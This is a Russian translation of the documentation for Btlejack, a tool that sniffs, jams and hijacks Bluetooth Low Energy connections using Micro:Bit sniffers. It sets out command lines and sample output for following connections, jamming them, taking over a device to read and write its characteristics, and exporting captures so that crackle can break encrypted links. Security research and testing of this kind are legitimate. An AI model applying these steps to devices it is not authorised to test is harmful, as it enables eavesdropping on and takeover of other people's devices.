BLE Swiss-army knife: перехват, джамминг и угон Bluetooth Low Energy соединений. Работает с BBC Micro:Bit в роли снифферов. Позволяет перехватывать уже установленные BLE-соединения — уникальная возможность среди BLE-инструментов.
pip3 install btlejack # Установить firmware на BBC Micro:Bit # Скан активных BLE соединений: btlejack -s # Перехват соединения: btlejack -c aa:bb:cc:dd:ee:ff # Джамминг: btlejack -j aa:bb:cc:dd:ee:ff
Btlejack предоставляет все необходимые инструменты для перехвата, глушения и перехвата управления устройствами Bluetooth Low Energy. Он использует одно или несколько устройств BBC Micro:Bit <http://microbit.org/> со специальной прошивкой. Вы также можете использовать сниффер Adafruit Bluefruit LE <https://www.adafruit.com/product/2269> или nRF51822 Eval Kit <https://www.waveshare.com/wiki/BLE400>_, так как добавлена поддержка этих устройств.
Текущая версия инструмента (2.0) поддерживает BLE 4.x и 5.x. Поддержка BLE 5.x ограничена, так как она работает только с 1Mbps Uncoded PHY и не поддерживает обновление карты каналов.
Вам нужна система на основе UNIX (например, Raspberry Pi). Если вы используете BBC Micro:Bit, вам понадобится от одного до трех устройств Micro:Bit (рекомендуется три) и по одному свободному USB-порту для каждого устройства. Потребление Micro:Bit довольно низкое, поэтому вы можете использовать один USB-порт и пассивный хаб для питания трех рекомендуемых устройств.
Если вы подключите 3 microbit одновременно к компьютеру, Btlejack сможет перехватывать данные на всех каналах рассылки и будет иметь гораздо больше шансов захватить запрос на соединение.
Сначала установите клиентское ПО btlejack для Python3 с помощью Pip:
::
$ sudo pip3 install btlejack
Затем подключите устройство Micro:Bit к компьютеру с помощью USB-кабеля, смонтируйте связанное устройство массового хранения (точка монтирования должна содержать MICROBIT), и выполните следующую команду:
::
$ btlejack -i
Это запрограммирует каждое подключенное к компьютеру устройство Micro:Bit и подготовит их к использованию с Btlejack. Будет использоваться правильная версия прошивки для текущего клиентского ПО, поэтому настоятельно рекомендуется выполнять эту процедуру установки прошивки при каждом обновлении Btlejack.
Если вы используете сниффер Bluefruit LE или nRF51822 Eval Kit, то, пожалуйста, используйте внешний SWD-программатор для прошивки вашего устройства этой прошивкой <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
Оставьте устройства подключенными, и все готово!
ПРИМЕЧАНИЕ Это работает только с совместимыми с posix системами.
Использовать Btlejack довольно просто. Btlejack может:
Btlejack обычно пытается автоматически обнаружить и использовать подключенные совместимые устройства (пока только Micro:Bit), но поскольку прошивку можно изменить для работы с другими платами на базе nRF51822, он предоставляет специальную опцию для совместимости с этими устройствами.
Опция -d позволяет указать одно или несколько устройств для Btlejack. Обратите внимание, что эта опция отключит автоматическое обнаружение устройств, и вам следует добавить столько устройств, сколько вам может понадобиться:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Сначала найдите существующее соединение для целевого анализа с помощью btlejack:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
Первое значение (в dBm) показывает мощность сигнала, чем больше это значение, тем лучше будет перехваченное соединение.
Второе значение (шестнадцатеричное) - связанный адрес доступа (access address), 32-битное значение, идентифицирующее связь между двумя совместимыми с Bluetooth Low Energy устройствами.
Последнее значение - количество пакетов, увиденных с этим адресом доступа. Чем выше это значение, тем вероятнее, что соответствующий адрес доступа используется.
Затем используйте опцию -f для отслеживания конкретного соединения:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
Если вы используете более 1 microbit, Btlejack будет распараллеливать некоторые операции перехвата для ускорения восстановления параметров соединения!
Опция -c, поддерживаемая btlejack, позволяет указать целевой BD-адрес, или вы можете использовать any для захвата любого нового созданного соединения.
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0
|-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
или вы можете указать целевой BD-адрес:
::
$ btlejack -c 03:e1:f0:00:11:22
После того как соединение идентифицировано по его адресу доступа, вы можете начать глушить его с помощью опции -j:
::
$ btlejack -f 0x129f3244 -j
Btlejack также способен перехватить управление существующим соединением, для этого используйте опцию -t. После перехвата управления Btlejack предоставит вам приглашение для взаимодействия с перехваченным устройством.
Сначала перехватите управление существующим соединением:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
Затем используйте следующие команды для взаимодействия с устройством: - discover: выполняет перечисление сервисов и характеристик, предоставит вам всю информацию о сервисах и характеристиках. - write: записывает данные в конкретный дескриптор значения. - read: читает данные из конкретного дескриптора значения. - ll: отправляет необработанный пакет канальной уровня (для ниндзя).
Команда discover будет отправлять и получать пакеты Bluetooth LE и извлекать все UUID и параметры сервисов, а также UUID и параметры характеристик:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05
| handle: 0002
| properties: indicate (20)
\ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04
| handle: 0019
| properties: read (02)
\ value handle: 001a
Characteristic UUID: 2a00
| handle: 0015
| properties: read (02)
\ value handle: 0016
Characteristic UUID: 2a01
| handle: 0017
| properties: read (02)
\ value handle: 0018
Service UUID: 1824 Characteristic UUID: 2abc
| handle: 0029
| properties: write indicate (28)
\ value handle: 002a
Команда read принимает один параметр - дескриптор значения, соответствующей характеристике, из которой вы хотите прочитать данные:
::
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
Команда write принимает три параметра:
::
btlejack> write
Поддерживаемые форматы данных:
hex: шестнадцатеричные данные (например, "414261")str: текстовая строка, может быть обрамлена двойными кавычками.Последняя команда позволяет отправлять PDU канального уровня Bluetooth Low Energy в шестнадцатеричном формате, как указано в Томе 6, Часть B, Главе 2.4.
Одной из интересных функций Btlejack является возможность экспортировать захваченные данные в файл PCAP.
Btlejack поддерживает следующие форматы DLT:
Выходной файл может быть указан с помощью опции -o, а формат вывода - с помощью опции -x. Допустимые значения форматов: ll_phdr, nordic или pcap (по умолчанию).
::
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
Тип экспорта ll_phdr полезен при перехвате зашифрованных соединений, поскольку он также поддерживается инструментом crackle. Если вы хотите перехватывать и взламывать зашифрованные соединения, это правильный выбор.
Вам также может потребоваться указать crackle использовать определённую стратегию взлома с помощью опции -s:
::
$ crackle -i some.pcap -s 1
Btlejack использует кэш соединений для хранения некоторых значений, связанных с соединениями, чтобы немного ускорить работу. Этот кэш соединений может вызывать некоторые проблемы, особенно если адрес доступа уже встречался ранее.
Этот кэш можно очистить с помощью опции -z:
::
$ btlejack -z
В btlejack 2.0 появилась новая опция -w, которая позволяет указать путь к FIFO (существующему или новому) для выполнения анализа пакетов в реальном времени:
::
$ btlejack -c any -w /tmp/blepipe
Вы можете использовать FIFO и выходной файл одновременно:
::
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
Если вы ранее включали виртуальный Ethernet через USB (RNDIS), например, для настройки Raspberry Pi Zero W через USB, вам нужно отключить это снова (то есть удалить dtoverlay=dwc2 из boot/config.txt и modules-load=dwc2,g_ether из boot/cmdline.txt, а затем выполнить sudo reboot), иначе это будет мешать USB-соединениям снифферов.
Эта версия поддерживает Bluetooth Low Energy версий 5 и 5.1, и особенно новый алгоритм выбора канала, представленный в версии 5 (CSA #2). Однако, поскольку используемое оборудование не поддерживает два новых PHY, добавленных начиная с версии 5, сниффинг, глушение и, возможно, перехват соединений будет возможен только с использованием 1Mbps uncoded PHY.
Обратите также внимание, что текущая реализация CSA #2, включённая в Btlejack, пока не поддерживает обновления карты каналов.
Btlejack автоматически определяет используемый алгоритм выбора канала, поэтому вам не нужно об этом беспокоиться — просто перехватывайте пакеты как обычно.
Перехват существующего BLE 5 соединения (использующего 1Mbps uncoded PHY, и только этот PHY) не так сложен. Сначала вы должны указать, что вы хотите нацелиться на BLE 5 соединение, с помощью опции -5. Обратите внимание, что нет способа определить, использует ли существующее соединение CSA #2 или CSA #1, поэтому вам придется пробовать обе техники, пока одна из них не сработает.
::
$ btlejack -f 0x11223344 -5
Btlejack затем восстановит используемую карту каналов, а затем значение интервала перескока:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160
После этого он попытается восстановить значение счётчика ГСЧ (PRNG) этого соединения:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160 ✓ CSA2 PRNG counter = 5137 [i] Synchronized, packet capture in progress ...
Как только это будет сделано, Btlejack синхронизируется с этим соединением и будет обрабатывать пакеты как обычно.
Здесь ничего нового, за исключением того, что вы должны указать, что вы атакуете BLE 5 соединение, с помощью опции -5.
Обратите внимание, что вы можете оптимизировать эту атаку, также указав карту каналов и значение интервала перескока с помощью флагов -m и -p соответственно. Оба флага ОБЯЗАНЫ быть предоставлены, иначе атака не сработает.
На данный момент мне не удалось перехватить BLE 5 соединение, поскольку эта атака является времязависимой. Мои BLE 5 устройства используют задержку (latency) 0, что не допускает никакой задержки и приводит к провалу этой атаки.
Когда у меня появятся некоторые легитимные BLE 5 устройства, я улучшу это.